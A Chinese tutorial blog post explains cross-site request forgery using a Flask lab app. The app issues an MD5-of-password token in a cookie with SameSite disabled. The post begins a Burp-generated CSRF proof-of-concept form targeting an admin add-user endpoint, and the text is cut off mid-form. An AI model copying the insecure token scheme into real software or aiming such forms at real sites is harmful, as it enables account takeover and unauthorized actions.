CSRF漏洞剖析

想必大家对CSRF并不陌生,英文全名叫Cross-site request forgery,翻译过来就是跨站点请求伪造。简单的理解就是从B站点来请求A站点的某个动作。

这里最最关键的因素是令牌。用户在A站点登陆成功后,服务端颁发令牌并存储到浏览器中。客户端存储令牌方式主要2种:Cookie、localstorage

只有令牌存储在Cookie中才能利用CSRF,至于为什么到后面再讲。


首先我先演示一下第一种场景:MVC架构,站点:api.hack.me

Controller层代码如下

@app.route('/login_cookie_form',methods=["POST","GET"])
def login_cookie_form():
    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get('password')
        print(username,password)
        token = hashlib.new('md5', password.encode('utf-8')).hexdigest()
        try:
            res = make_response('set-cookie')
            res.set_cookie("user",token,samesite=None,secure=True)
            return res
        except Exception as e:
            print(e)
    return render_template('login_cookie.html')

View层代码如下

<html>
<head>
    <title>Login Form</title>
    <form action="/login_cookie_form" method="post">
        用户名:<input type="text" name="username">
        密码:<input type="password" name="password">
        <button type="submit">点击登陆</button>
    </form>
</head>
</html>

登陆成功后, 服务端给客户端颁发令牌,存储到浏览器Cookie中,Domain为api.hack.me 

 

可以看到添加成功了,那么接下来可以实施CSRF攻击了

这里攻击者构造了一个页面 http://attack.me/fake_add_user_form

页面内容如下

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://api.hack.me/admin/add_user_form" method="POST">
      <input type="hidden" name="username" value="helloworld" />
      <input type&
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

信息安全笔记

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值